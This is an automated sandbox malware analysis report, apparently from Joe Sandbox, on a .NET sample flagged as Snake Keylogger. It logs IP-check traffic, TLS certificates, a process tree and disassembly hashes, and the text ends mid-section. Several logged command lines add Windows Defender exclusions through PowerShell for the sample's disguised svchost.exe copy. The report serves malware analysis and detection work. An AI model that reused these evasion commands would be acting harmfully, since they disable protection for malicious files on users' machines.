Apr 8, 2021 11:03:09.888408899 CEST	4993	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49732	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:11.054966927 CEST	4993	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:11.160370111 CEST	4994	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49733	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:11.827866077 CEST	4995	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:11.934300900 CEST	4996	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49742	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:13.074529886 CEST	5021	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:13.179763079 CEST	5022	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Apr 8, 2021 11:01:44.910068989 CEST	104.21.56.119	443	192.168.2.3	49701	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=California, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Wed Mar 31 02:00:00 CEST 2021 Mon Jan 27 13:48:08 CET 2020	Thu Mar 31 01:59:59 CEST 2022 Wed Jan 01 00:59:59 CET 2025	769,49162-49161-49172-49171-53-47-10,0-10-11-35-23-65281,29-23-24,0	54328bd36c14bd82ddaa0c04b25ed9ad
Apr 8, 2021 11:01:44.910068989 CEST	104.21.56.119	443	192.168.2.3	49701	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		54328bd36c14bd82ddaa0c04b25ed9ad
Apr 8, 2021 11:02:55.378983021 CEST	172.67.188.154	443	192.168.2.3	49725	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Aug 10 02:00:00 CEST 2020 Mon Jan 27 13:48:08 CET 2020	Tue Aug 10 14:00:00 CEST 2021 Wed Jan 01 00:59:59 CET 2025	769,49162-49161-49172-49171-53-47-10,0-10-11-35-23-65281,29-23-24,0	54328bd36c14bd82ddaa0c04b25ed9ad
Apr 8, 2021 11:02:55.378983021 CEST	172.67.188.154	443	192.168.2.3	49725	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		54328bd36c14bd82ddaa0c04b25ed9ad
Apr 8, 2021 11:03:12.451477051 CEST	172.67.188.154	443	192.168.2.3	49737	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Aug 10 02:00:00 CEST 2020 Mon Jan 27 13:48:08 CET 2020	Tue Aug 10 14:00:00 CEST 2021 Wed Jan 01 00:59:59 CET 2025	769,49162-49161-49172-49171-53-47-10,0-10-11-35-23-65281,29-23-24,0	54328bd36c14bd82ddaa0c04b25ed9ad
Apr 8, 2021 11:03:12.451477051 CEST	172.67.188.154	443	192.168.2.3	49737	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		54328bd36c14bd82ddaa0c04b25ed9ad
Apr 8, 2021 11:03:30.037919044 CEST	172.67.188.154	443	192.168.2.3	49777	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Aug 10 02:00:00 CEST 2020 Mon Jan 27 13:48:08 CET 2020	Tue Aug 10 14:00:00 CEST 2021 Wed Jan 01 00:59:59 CET 2025	769,49162-49161-49172-49171-53-47-10,0-10-11-35-23-65281,29-23-24,0	54328bd36c14bd82ddaa0c04b25ed9ad
Apr 8, 2021 11:03:30.037919044 CEST	172.67.188.154	443	192.168.2.3	49777	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		54328bd36c14bd82ddaa0c04b25ed9ad

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: lfQuSBwdSf.exe PID: 2788 Parent PID: 5552

General

Start time:	11:01:42
Start date:	08/04/2021
Path:	C:\Users\user\Desktop\lfQuSBwdSf.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\lfQuSBwdSf.exe'
Imagebase:	0xcb0000
File size:	46080 bytes
MD5 hash:	0802967C1D72DEEB4E1B79AF74FDB553
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 4908 Parent PID: 568

General

Start time:	11:01:50
Start date:	08/04/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 1004 Parent PID: 2788

General

Start time:	11:01:55
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Imagebase:	0xb0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4808 Parent PID: 1004

General

Start time:	11:01:56
Start date:	08/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 720 Parent PID: 2788

General

Start time:	11:01:56
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\lfQuSBwdSf.exe' -Force
Imagebase:	0xb0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4456 Parent PID: 720

General

Start time:	11:01:57
Start date:	08/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 1000 Parent PID: 2788

General

Start time:	11:01:57
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Imagebase:	0xb0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 5988 Parent PID: 1000

General

Start time:	11:01:57
Start date:	08/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 3984 Parent PID: 2788

General

Start time:	11:02:03
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\cmd.exe' /c timeout 1
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 5816 Parent PID: 3984

General

Start time:	11:02:03
Start date:	08/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6216 Parent PID: 568

General

Start time:	11:02:04
Start date:	08/04/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: timeout.exe PID: 6248 Parent PID: 3984

General

Start time:	11:02:04
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 1
Imagebase:	0xee0000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6528 Parent PID: 3388

General

Start time:	11:02:11
Start date:	08/04/2021
Path:	C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe'
Imagebase:	0xf50000
File size:	46080 bytes
MD5 hash:	0802967C1D72DEEB4E1B79AF74FDB553
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_BedsObfuscator, Description: Yara detected Beds Obfuscator, Source: 00000011.00000002.517681508.0000000004965000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000011.00000002.517681508.0000000004965000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 6624 Parent PID: 568

General

Start time:	11:02:15
Start date:	08/04/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6672 Parent PID: 568

General

Start time:	11:02:16
Start date:	08/04/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k unistacksvcgroup
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6712 Parent PID: 568

General

Start time:	11:02:17
Start date:	08/04/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: lfQuSBwdSf.exe PID: 6864 Parent PID: 2788

General

Start time:	11:02:19
Start date:	08/04/2021
Path:	C:\Users\user\Desktop\lfQuSBwdSf.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\lfQuSBwdSf.exe
Imagebase:	0x7d0000
File size:	46080 bytes
MD5 hash:	0802967C1D72DEEB4E1B79AF74FDB553
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_BedsObfuscator, Description: Yara detected Beds Obfuscator, Source: 00000015.00000002.485923538.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000015.00000002.485923538.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: svchost.exe PID: 6872 Parent PID: 568

General

Start time:	11:02:19
Start date:	08/04/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6908 Parent PID: 3388

General

Start time:	11:02:20
Start date:	08/04/2021
Path:	C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe'
Imagebase:	0x640000
File size:	46080 bytes
MD5 hash:	0802967C1D72DEEB4E1B79AF74FDB553
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_BedsObfuscator, Description: Yara detected Beds Obfuscator, Source: 00000017.00000002.541864387.0000000004A72000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000017.00000002.541864387.0000000004A72000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: svchost.exe PID: 6932 Parent PID: 568

General

Start time:	11:02:20
Start date:	08/04/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 7064 Parent PID: 568

General

Start time:	11:02:21
Start date:	08/04/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 7152 Parent PID: 568

General

Start time:	11:02:22
Start date:	08/04/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 6164 Parent PID: 2788

General

Start time:	11:02:24
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2788 -s 2300
Imagebase:	0xa40000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: svchost.exe PID: 1648 Parent PID: 568

General

Start time:	11:02:29
Start date:	08/04/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: powershell.exe PID: 4424 Parent PID: 6908

General

Start time:	11:02:47
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Imagebase:	0xb0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: conhost.exe PID: 2120 Parent PID: 4424

General

Start time:	11:02:47
Start date:	08/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: powershell.exe PID: 5092 Parent PID: 6908

General

Start time:	11:02:48
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Imagebase:	0xb0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: conhost.exe PID: 5136 Parent PID: 5092

General

Start time:	11:02:48
Start date:	08/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: powershell.exe PID: 3348 Parent PID: 6908

General

Start time:	11:02:49
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force
Imagebase:	0xb0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: conhost.exe PID: 5224 Parent PID: 3348

General

Start time:	11:02:50
Start date:	08/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5232 Parent PID: 568

General

Start time:	11:02:50
Start date:	08/04/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: powershell.exe PID: 1004 Parent PID: 2788 powershell.exeCOMMON

Executed Functions

Function 07958E10, Relevance: 1.7, Strings: 1, Instructions: 476COMMON

Download Yara Rule

Strings

[,, xrefs: 07959369

Memory Dump Source

Source File: 00000005.00000002.555328808.0000000007950000.00000040.00000001.sdmp, Offset: 07950000, based on PE: false

Similarity

API ID:
String ID: [,
API String ID: 0-2410052832
Opcode ID: 29e1ede949cec4c46bced569dec6813fa46b89e48b4aea33ce554f8d46e7dd6c
Instruction ID: 0384a6a076423ad76c8a75be3e0b5db9f3fcd05adbea7ba55af01cbc33e149ca
Opcode Fuzzy Hash: 29e1ede949cec4c46bced569dec6813fa46b89e48b4aea33ce554f8d46e7dd6c
Instruction Fuzzy Hash: 20122A74E002189FCB54DFA4D995A9EB7F2EF88304F108469E90AAB355DB34AD41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 030DEB60, Relevance: 1.6, APIs: 1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.519792688.00000000030D0000.00000040.00000001.sdmp, Offset: 030D0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: af1488dd3a69a4bc5e69deb39dd20d5cf211531ef52166a689f605f44e8de388
Instruction ID: 2055f9d67ac6d8c7d0b848711ef8e297517be2925cdd0d30a905579540ad55ae
Opcode Fuzzy Hash: af1488dd3a69a4bc5e69deb39dd20d5cf211531ef52166a689f605f44e8de388
Instruction Fuzzy Hash: C741DC71A002099FDB00CFA8C945BAEFFF5EF48314F148169E909AB380CB74A905CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 030DEC00, Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,C0000000,?,?,?,?,?,?,?,?,030DEB7F,00000000,00000000,00000003,00000000,00000002), ref: 030DEC8A

Memory Dump Source

Source File: 00000005.00000002.519792688.00000000030D0000.00000040.00000001.sdmp, Offset: 030D0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 06cacadc613a8664afea96db91f2c2d188f0d3ad21ccf9fcbec7be03d6316a53
Instruction ID: 20b479f15798edde661de92a2c010230dd9c5102ef6fa20cb15e783bc644c63a
Opcode Fuzzy Hash: 06cacadc613a8664afea96db91f2c2d188f0d3ad21ccf9fcbec7be03d6316a53
Instruction Fuzzy Hash: F92154B2900609EFCB00CF99C984ADEFBF4FB08310F14851AE918B7210C734AA14CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 030DD1EC, Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,C0000000,?,?,?,?,?,?,?,?,030DEB7F,00000000,00000000,00000003,00000000,00000002), ref: 030DEC8A

Memory Dump Source

Source File: 00000005.00000002.519792688.00000000030D0000.00000040.00000001.sdmp, Offset: 030D0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c58260c9c6f777d2273882bdffb8400793c6de8c3d51ad2110011d4fcaa50fb9
Instruction ID: 84002a7106ca41627b5ce42131e282cf8a3a93206e6e3275c9c6cfd0981cecc9
Opcode Fuzzy Hash: c58260c9c6f777d2273882bdffb8400793c6de8c3d51ad2110011d4fcaa50fb9
Instruction Fuzzy Hash: D82134B1900619EFCB10CF99D984ADEFBF4FB08310F14852AE918A7210C774AA14CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 030D4DD0, Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000), ref: 030D4E48

Memory Dump Source

